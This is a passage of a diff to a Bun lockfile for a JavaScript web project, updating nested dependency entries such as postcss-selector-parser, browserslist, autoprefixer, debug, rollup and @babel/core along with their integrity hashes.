+ "postcss-attribute-case-insensitive/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"postcss-colormin/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-convert-values/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "postcss-custom-selectors/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "postcss-dir-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "postcss-focus-visible/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "postcss-focus-within/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"postcss-import/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"postcss-load-config/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
"postcss-load-config/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
- "postcss-loader/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
-
"postcss-merge-rules/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-minify-params/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
@@ -6093,20 +6345,28 @@
"postcss-modules-scope/postcss-selector-parser": ["postcss-selector-parser@7.1.0", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA=="],
+ "postcss-nesting/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"postcss-normalize-unicode/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.17", "", { "dependencies": { "browserslist": "^4.22.2", "caniuse-lite": "^1.0.30001578", "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", "picocolors": "^1.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": "bin/autoprefixer" }, "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg=="],
+ "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="],
- "postcss-preset-env/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "postcss-preset-env/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+
+ "postcss-pseudo-class-any-link/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
"postcss-reduce-initial/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "postcss-selector-not/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"pretty-format/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
"pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"prop-types/react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
+ "protobufjs/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+
"public-encrypt/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
"rc-util/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -6133,6 +6393,8 @@
"remark-supersub/unist-util-visit": ["unist-util-visit@4.1.2", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0", "unist-util-visit-parents": "^5.1.1" } }, "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg=="],
+ "require-in-the-middle/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"resolve-cwd/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="],
@@ -6147,7 +6409,9 @@
"rollup-pluginutils/estree-walker": ["estree-walker@0.6.1", "", {}, "sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w=="],
- "schema-utils/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
+ "router/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "send/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"sharp/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -6173,6 +6437,8 @@
"sucrase/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+ "superagent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"superagent/mime": ["mime@2.6.0", "", { "bin": "cli.js" }, "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="],
"superagent/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
@@ -6181,6 +6447,10 @@
"svgo/css-select": ["css-select@4.3.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.0.1", "domhandler": "^4.3.1", "domutils": "^2.8.0", "nth-check": "^2.0.1" } }, "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ=="],
+ "svgo/sax": ["sax@1.5.0", "", {}, "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA=="],
+
+ "swr/use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="],
+
"tailwindcss/arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="],
"tailwindcss/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
@@ -6193,17 +6463,9 @@
"terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
- "terser-webpack-plugin/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "terser-webpack-plugin/jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="],
-
"test-exclude/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
- "tinyglobby/fdir": ["fdir@6.4.4", "", { "peerDependencies": { "picomatch": "^3 || ^4" } }, "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg=="],
-
- "tinyglobby/picomatch": ["picomatch@4.0.2", "", {}, "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg=="],
-
- "ts-node/diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
+ "test-exclude/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
"tsconfig-paths/json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": "lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="],
@@ -6225,19 +6487,19 @@
"vasync/verror": ["verror@1.10.0", "", { "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw=="],
+ "verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+
"vfile-location/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
"vfile-location/vfile": ["vfile@5.3.7", "", { "dependencies": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^3.0.0", "vfile-message": "^3.0.0" } }, "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g=="],
- "webpack/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "vite/postcss": ["postcss@8.5.8", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="],
- "webpack/eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="],
-
- "webpack/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
+ "vite/rollup": ["rollup@4.59.0", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.59.0", "@rollup/rollup-android-arm64": "4.59.0", "@rollup/rollup-darwin-arm64": "4.59.0", "@rollup/rollup-darwin-x64": "4.59.0", "@rollup/rollup-freebsd-arm64": "4.59.0", "@rollup/rollup-freebsd-x64": "4.59.0", "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", "@rollup/rollup-linux-arm-musleabihf": "4.59.0", "@rollup/rollup-linux-arm64-gnu": "4.59.0", "@rollup/rollup-linux-arm64-musl": "4.59.0", "@rollup/rollup-linux-loong64-gnu": "4.59.0", "@rollup/rollup-linux-loong64-musl": "4.59.0", "@rollup/rollup-linux-ppc64-gnu": "4.59.0", "@rollup/rollup-linux-ppc64-musl": "4.59.0", "@rollup/rollup-linux-riscv64-gnu": "4.59.0", "@rollup/rollup-linux-riscv64-musl": "4.59.0", "@rollup/rollup-linux-s390x-gnu": "4.59.0", "@rollup/rollup-linux-x64-gnu": "4.59.0", "@rollup/rollup-linux-x64-musl": "4.59.0", "@rollup/rollup-openbsd-x64": "4.59.0", "@rollup/rollup-openharmony-arm64": "4.59.0", "@rollup/rollup-win32-arm64-msvc": "4.59.0", "@rollup/rollup-win32-ia32-msvc": "4.59.0", "@rollup/rollup-win32-x64-gnu": "4.59.0", "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg=="],
"winston-daily-rotate-file/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
- "workbox-build/@babel/preset-env": ["@babel/preset-env@7.23.9", "", { "dependencies": { "@babel/compat-data": "^7.23.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.23.5", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", "@babel/plugin-syntax-import-assertions": "^7.23.3", "@babel/plugin-syntax-import-attributes": "^7.23.3", "@babel/plugin-syntax-import-meta": "^7.10.4", "@babel/plugin-syntax-json-strings": "^7.8.3", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", "@babel/plugin-syntax-numeric-separator": "^7.10.4", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.23.3", "@babel/plugin-transform-async-generator-functions": "^7.23.9", "@babel/plugin-transform-async-to-generator": "^7.23.3", "@babel/plugin-transform-block-scoped-functions": "^7.23.3", "@babel/plugin-transform-block-scoping": "^7.23.4", "@babel/plugin-transform-class-properties": "^7.23.3", "@babel/plugin-transform-class-static-block": "^7.23.4", "@babel/plugin-transform-classes": "^7.23.8", "@babel/plugin-transform-computed-properties": "^7.23.3", "@babel/plugin-transform-destructuring": "^7.23.3", "@babel/plugin-transform-dotall-regex": "^7.23.3", "@babel/plugin-transform-duplicate-keys": "^7.23.3", "@babel/plugin-transform-dynamic-import": "^7.23.4", "@babel/plugin-transform-exponentiation-operator": "^7.23.3", "@babel/plugin-transform-export-namespace-from": "^7.23.4", "@babel/plugin-transform-for-of": "^7.23.6", "@babel/plugin-transform-function-name": "^7.23.3", "@babel/plugin-transform-json-strings": "^7.23.4", "@babel/plugin-transform-literals": "^7.23.3", "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", "@babel/plugin-transform-member-expression-literals": "^7.23.3", "@babel/plugin-transform-modules-amd": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-modules-systemjs": "^7.23.9", "@babel/plugin-transform-modules-umd": "^7.23.3", "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", "@babel/plugin-transform-new-target": "^7.23.3", "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", "@babel/plugin-transform-numeric-separator": "^7.23.4", "@babel/plugin-transform-object-rest-spread": "^7.23.4", "@babel/plugin-transform-object-super": "^7.23.3", "@babel/plugin-transform-optional-catch-binding": "^7.23.4", "@babel/plugin-transform-optional-chaining": "^7.23.4", "@babel/plugin-transform-parameters": "^7.23.3", "@babel/plugin-transform-private-methods": "^7.23.3", "@babel/plugin-transform-private-property-in-object": "^7.23.4", "@babel/plugin-transform-property-literals": "^7.23.3", "@babel/plugin-transform-regenerator": "^7.23.3", "@babel/plugin-transform-reserved-words": "^7.23.3", "@babel/plugin-transform-shorthand-properties": "^7.23.3", "@babel/plugin-transform-spread": "^7.23.3", "@babel/plugin-transform-sticky-regex": "^7.23.3", "@babel/plugin-transform-template-literals": "^7.23.3", "@babel/plugin-transform-typeof-symbol": "^7.23.3", "@babel/plugin-transform-unicode-escapes": "^7.23.3", "@babel/plugin-transform-unicode-property-regex": "^7.23.3", "@babel/plugin-transform-unicode-regex": "^7.23.3", "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "core-js-compat": "^3.31.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A=="],
+ "workbox-build/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
"workbox-build/@rollup/plugin-replace": ["@rollup/plugin-replace@2.4.2", "", { "dependencies": { "@rollup/pluginutils": "^3.1.0", "magic-string": "^0.25.7" }, "peerDependencies": { "rollup": "^1.20.0 || ^2.0.0" } }, "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg=="],
@@ -6245,7 +6507,7 @@
